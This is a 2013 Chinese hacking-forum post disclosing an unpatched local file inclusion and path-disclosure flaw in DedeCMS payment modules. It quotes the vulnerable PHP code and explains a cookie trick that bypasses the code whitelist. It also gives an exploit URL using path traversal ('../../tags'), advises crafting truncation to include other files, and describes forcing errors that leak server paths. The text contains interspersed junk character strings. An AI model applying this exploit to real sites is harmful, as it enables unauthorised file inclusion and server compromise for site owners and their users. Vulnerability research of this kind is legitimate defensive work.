找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2092|回复: 0
打印 上一主题 下一主题

dedecms本地文件包含及物理路径泄露0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:25:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)& [! m+ @# U# x* H* @& [" T
! t9 Y9 `$ A" m0 w
出现漏洞的两个文件为:
4 i3 K& o# R) N9 zInclude/payment/alipay.php: h4 a7 o4 H' C0 b
Include/payment/yeepay.php
7 M  }* U# C' ^+ U3 H) ^+ B( L  o漏洞均出现在respond方法里,估计这两个文件是临时工写的。
7 b) T# Q& b. P4 U& n
" U7 S6 o/ X9 o+ K- s# cInclude/payment/alipay.php# [# v6 L& Z# N9 d/ D# A; \

9 _  u; n; S6 O  D! e. C, G......+ C. l# h6 I3 z! f0 F6 N0 q
   function respond()
6 O4 V3 B; N, Y, W7 b3 r$ K+ S    {
% t- u3 G& ?9 c8 ^5 ?1 ~        if (!empty($_POST))' E" N( O" `- \
        {
/ e+ a3 V3 V7 n            foreach($_POST as $key => $data)
7 @3 v2 f9 e  i) `            {6 y# W& I9 A2 D& A( i4 G7 o
                $_GET[$key] = $data;
+ O& A' F  D) K# R1 E            }. {& A* B) q6 o' N# p
        }% U+ m, U: S& w: Q/ f0 R
        /* 引入配置文件 */, |2 Z% z. z9 O6 p( z
        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';" W4 f$ d; W! W8 T3 a; X& r
...... 6 b5 ]/ ^9 s' t$ A2 \/ L- B
& B) Z; }5 S- J+ ^
/ E. E" e/ Z5 ~$ V* o" J" L
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
$ L/ d, J) ?+ r
' T& k; p- n9 k7 ZInclude/payment/yeepay.php9 X% Y6 P: M: c+ a
6 A# C. e, V/ F! v8 T- G3 t
4 F% |' _3 e- b
! T. m& {6 u  Z$ ?/ ^( p7 Y, l
......- a+ [3 s! k& {+ G  z' Q
    function respond()
, d) A. I: d7 d$ B1 Y5 V    {# v0 }5 L( L- B( ?  L
7 ~: v0 X6 w1 {0 x9 ^8 p
        /* 引入配置文件 */
9 O4 ~- o$ O+ f- l' H9 r* m* p        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';! |' x$ ]5 l. ?4 d; J9 Y7 y

' q5 H) |: R. w' }4 G        $p1_MerId = trim($payment['yp_account']);7 m; }: O  y2 @' x8 S$ p8 ?
        $merchantKey = trim($payment['yp_key']);+ L" U/ G# q+ D" t8 K1 g
......
  `% \( v$ @; l: X6 T7 I" ~ ) z: W- e% Y3 |* x8 R* ^

) X/ p+ ?1 g5 s* p- P
' b$ m  Z: z3 G. @9 @$ e. B, O' O3 a# k6 }7 r- g) t" O! }
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。$ t9 v7 X. e! R
- U+ N8 m" @$ \7 l* ]/ |( C6 R" C+ O
这两个方法在plus/carbuyaction.php文件调用。1 M6 {* t  z+ q7 d) S* ~+ }" u! ~
# L% V. X# i# z5 N' Z/ M( p
plus/carbuyaction.php
' b* D: O3 B5 e" {  }# p2 h7 @( O2 I: z( J. `$ ]) j" r1 ?
......: R" `* S, k2 G& E5 G- n6 O
} else if ($dopost == 'return') {
; P8 a( G. W& R( L$ i. a( I    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
1 w0 Q( j, l, N( f" k3 Y  ~    if (in_array($code, $write_list))( A8 Y3 ]& U' r. m7 C( O# m3 v
    {
6 `6 m# T+ e$ g; _/ p7 ]        require_once DEDEINC.'/payment/'.$code.'.php';
5 Q- v" |- d! w        $pay = new $code;
0 k# Q5 M; G5 T        $msg=$pay->respond();7 S; ?( Q, [) Y
        ShowMsg($msg, "javascript:;", 0, 3000);
7 [$ J" C/ e: [' T3 e3 l* i" s$ ^( D        exit();    |, i. l" w9 s) c( W
    } else {, P1 N* X) f4 I+ A# E& I7 j; H/ d
        exit('Error:File Type Can\'t Recognized!');
6 C  c% F% X: ?$ L    }# Q/ `2 ~3 j% v+ A: W# t) v
}0 _! ?9 Q$ i( b5 ^3 s/ I4 C1 [6 s* F6 E
...... 9 ^! @9 L) ^/ F" u

' B; f2 c! Q" v1 |6 G5 B; D, [( f+ [6 G

  E& z) f7 W1 R/ l0 \  |$ J
- u% X) l$ C7 t+ a4 f 7 \* Y) S: S# @- y" i/ `0 m
7 N+ Q( e% j/ S& A3 S5 ]" S
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
8 |, V; c, d' Z& k2 ?6 j  R1 \所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。2 P- I( R  w  d0 B4 Q* _5 P

- |& K7 H' T+ K) R1 Y3 M7 B回到include/common.inc.php来看看他的机制。3 I! D& g6 d& e% s- a4 o  M5 ^
; @! E4 Z5 Q+ z: Q' T
6 b$ ?* T$ U! j5 f2 d
% V* {/ H7 }& U$ R6 i
......
) m+ E' c5 a9 uforeach(Array('_GET','_POST','_COOKIE') as $_request)
; }+ r2 ?/ |3 G0 o! d{
8 m, Y2 ^' R8 [& o  i        foreach($$_request as $_k => $_v) 7 J) W' W9 h7 W8 e1 o: B6 z
        {' U9 R% w: S3 Q6 N) g* O* e7 U
                if($_k == 'nvarname') ${$_k} = $_v;
) |- g* N8 R2 H( P' }                else ${$_k} = _RunMagicQuotes($_v);& S2 p+ U# J3 ~  u1 A
        }7 A9 s: L# o  }6 i- e( b
}( U: E# Y# T' h$ q
......
0 s7 |2 ~4 G0 A; o2 J# z6 c- R+ E大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
# z4 L' ?0 T5 |9 ^由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表